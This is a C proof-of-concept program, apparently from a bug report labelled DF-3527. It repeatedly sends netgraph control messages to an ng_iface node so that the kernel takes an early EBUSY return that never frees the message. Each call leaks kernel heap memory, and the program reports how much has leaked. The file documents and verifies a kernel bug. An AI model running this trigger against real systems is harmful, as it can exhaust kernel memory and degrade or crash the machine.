DF-3527 / leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | /* * DF-3527 PoC: ng_iface (v1 netgraph) NGM_IFACE_POINT2POINT / * NGM_IFACE_BROADCAST control message leak. * * ng_iface_rcvmsg() returns EBUSY early (ng_iface.c:666) when the * interface is IFF_UP, skipping the kfree(msg) at the function tail * (ng_iface.c:732). The v1 netgraph contract makes the receiving node's * rcvmsg() the owner of the message ("It is up to the message handler to * free the message", sys/netgraph/netgraph/ng_base.c:1178); the sender * (ngc_send, sys/netgraph/socket/ng_socket.c:253-258) allocates * kmalloc(len + 1, M_NETGRAPH) per sendto() and never frees it itself. * => every sendto() while ng0 is UP leaks sizeof(struct ng_mesg) + * arglen + 1 bytes of kernel heap (M_NETGRAPH). * * Must run as root: PF_NETGRAPH control sockets require * caps_priv_check(SYSCAP_RESTRICTEDROOT) (ng_socket.c:172-176). * * usage: ./leak <node-name> <iterations> <arglen> [cmd] * cmd: 2 = NGM_IFACE_POINT2POINT (default, leaks), 1 = NGM_IFACE_GET_IFNAME * (control: error-free path that DOES free the msg) */ #include <sys/types.h> #include <sys/socket.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #define AF_NG 32 /* AF_NETGRAPH */ #define NG_PROTO_CTRL 2 /* NG_CONTROL */ #define NGM_IFACE_COOKIE 858821773u #define NGM_IFACE_GET_IFNAME 1 #define NGM_IFACE_POINT2POINT 2 /* v1 struct ng_mesg (sys/netgraph/ng_message.h:62-74) */ struct ng_msghdr_v1 { uint8_t version; /* must == NG_VERSION (2) */ uint8_t spare; uint16_t arglen; /* 16-bit in v1! */ uint32_t flags; uint32_t token; uint32_t typecookie; uint32_t cmd; char cmdstr[32]; }; struct ng_mesg_v1 { struct ng_msghdr_v1 header; char data[0]; }; struct sockaddr_ngv { uint8_t sg_len; uint8_t sg_family; char sg_data[64]; }; int main(int argc, char **argv) { struct sockaddr_ngv dst; const char *path; int n, arglen, cmd = NGM_IFACE_POINT2POINT; int s, i, ebusy = 0, eother = 0, i0; char *buf; struct ng_mesg_v1 *m; if (argc < 4) { fprintf(stderr, "usage: %s <node> <iters> <arglen> [cmd]\n", argv[0]); return (2); } path = argv[1]; n = atoi(argv[2]); arglen = atoi(argv[3]); if (argc > 4) cmd = atoi(argv[4]); buf = calloc(1, sizeof(*m) + arglen); if (buf == NULL) return (2); m = (struct ng_mesg_v1 *)buf; m->header.version = 2; /* NG_VERSION */ m->header.arglen = (uint16_t)arglen; m->header.token = 0x3527; m->header.typecookie = NGM_IFACE_COOKIE; m->header.cmd = (uint32_t)cmd; memset(m->data, 'A', arglen); s = socket(AF_NG, SOCK_DGRAM, NG_PROTO_CTRL); if (s < 0) { perror("socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL)"); return (1); } memset(&dst, 0, sizeof(dst)); dst.sg_family = AF_NG; /* Absolute node address: "name:" (bare "name" would be parsed as a * relative hook path on our own socket node -> ENOENT). */ snprintf(dst.sg_data, sizeof(dst.sg_data), "%s:", path); dst.sg_len = (uint8_t)(2 + strlen(dst.sg_data) + 1); printf("[*] node=%s iters=%d arglen=%d cmd=%d msgsz=%zd\n", path, n, arglen, cmd, sizeof(*m) + arglen); printf("[*] expected leak if cmd=2 and interface is UP: %zd bytes\n", (ssize_t)((sizeof(*m) + arglen + 1) * (size_t)n)); i0 = 0; for (i = 0; i < n; i++) { ssize_t r = sendto(s, buf, sizeof(*m) + arglen, 0, (struct sockaddr *)&dst, dst.sg_len); if (r < 0) { if (errno == EBUSY) { ebusy++; continue; } eother++; if (eother <= 3) fprintf(stderr, "[-] sendto failed: %s\n", strerror(errno)); continue; } i0++; /* drain the synchronous response so the socket rcv buf * never fills (ENOBUFS) on response-carrying commands */ recv(s, buf, sizeof(*m) + arglen + 64, MSG_DONTWAIT); } printf("[*] results: EBUSY=%d success=%d other-err=%d\n", ebusy, i0, eother); /* * EBUSY replies for cmd=NGM_IFACE_POINT2POINT are the leak signature: * the handler took the early-return path without freeing the msg. */ if (cmd == NGM_IFACE_POINT2POINT && ebusy == n) { printf("[+] LEAKED: %d ng_mesg allocations (%zd bytes of " "M_NETGRAPH kernel heap) not freed\n", n, (ssize_t)((sizeof(*m) + arglen + 1) * (size_t)n)); return (0); } if (cmd == NGM_IFACE_GET_IFNAME && eother == 0) { printf("[+] control run complete (handler frees msg " "normally on this path)\n"); return (0); } printf("[-] unexpected result pattern (see EBUSY/success counts)\n"); return (1); } |